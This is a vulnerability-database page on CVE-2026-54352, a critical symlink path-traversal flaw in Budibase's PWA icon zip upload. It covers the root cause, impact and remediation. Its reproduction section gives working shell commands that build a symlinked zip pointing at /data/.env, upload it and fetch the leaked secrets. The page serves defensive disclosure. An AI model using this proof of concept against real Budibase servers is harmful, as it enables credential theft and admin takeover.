Skip to main content

Budibase CVE-2026-54352

| EUVDEUVD-2026-39910 CRITICAL
Path Traversal (CWE-22)
2026-06-22 https://github.com/Budibase/budibase GHSA-w7mq-r738-x278
9.6
CVSS 3.1 · Vendor: https://github.com/Budibase/budibase
Share

Severity by source

Vendor (https://github.com/Budibase/budibase) PRIMARY
9.6 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
vuln.today AI
9.6 CRITICAL

Network endpoint, low-complexity symlink trick, requires only a BUILDER account (PR:L); scope changes via JWT_SECRET leak enabling admin forge - I:H justified by that escalation, A:N as no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/Budibase/budibase).

CVSS VectorVendor: https://github.com/Budibase/budibase

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 23, 2026 - 00:01 vuln.today
Analysis Generated
Jun 23, 2026 - 00:01 vuln.today
CVE Published
Jun 22, 2026 - 23:33 github-advisory
CRITICAL 9.6

DescriptionCVE.org

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

  1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.
bash
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"
json
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
  1. Builder fetches the resulting "icon".
http
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

  • Disclosure of /data/.env: JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL.
  • HS256 JWT forge with the leaked JWT_SECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.
  • Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
  • Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

AnalysisAI

Arbitrary file read in Budibase self-hosted server (@budibase/server <= 3.39.0) allows an authenticated workspace builder to exfiltrate any file readable by the server process by uploading a crafted PWA zip containing a symlink entry. Because the default budibase/budibase:latest Docker image runs Node as root, attackers can retrieve /data/.env (JWT_SECRET, INTERNAL_API_KEY, MinIO/Redis/CouchDB credentials, DATABASE_URL) and even /etc/shadow, enabling JWT forgery and full global-admin takeover. Publicly available exploit code exists - a complete working PoC is published in the GHSA advisory - though there is no public exploit identified at time of analysis beyond that disclosure write-up.

Technical ContextAI

The flaw is a CWE-22 path-traversal-via-symlink in the PWA icon-processing pipeline. POST /api/pwa/process-zip uses extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries in zip archives. The icon-source validator in packages/server/src/api/controllers/static/index.ts:259-268 resolves the path string against baseDir, performs a resolvedSrc.startsWith(baseDir + path.sep) containment check, and calls fs.existsSync() - all three operate on the string path or follow symlinks transparently rather than detecting the symlink entry itself (e.g. via fs.lstat). Downstream, packages/backend-core/src/objectStore/objectStore.ts:302 calls (await fsp.open(path)).createReadStream(), which follows the symlink and streams the target file into MinIO; the bytes are then served verbatim via GET /api/assets/{appId}/pwa/{uuid}.{ext}. Affected package per CPE: pkg:npm/@budibase/server.

RemediationAI

Vendor-released patch: upgrade @budibase/server to 3.39.9 or later per GHSA-w7mq-r738-x278 (https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278); for the single-container Docker deployment, pull a budibase/budibase image built from 3.39.9+. If immediate patching is not possible, audit and minimize accounts holding the BUILDER workspace permission since that role alone is sufficient to exploit, and consider blocking or reverse-proxy-filtering POST /api/pwa/process-zip until upgrade (trade-off: breaks legitimate PWA icon uploads). As a defense-in-depth measure, rebuild the container image so the Node process runs as a non-root user with no read access to /data/.env or /etc/shadow (trade-off: requires adjusting file ownership for the data volume and may break first-run bootstrap that writes to /data/.env). After upgrade, rotate every secret previously stored in /data/.env - JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY/SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL - because any prior builder could have already exfiltrated them.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2026-53576 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers

Share

CVE-2026-54352 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy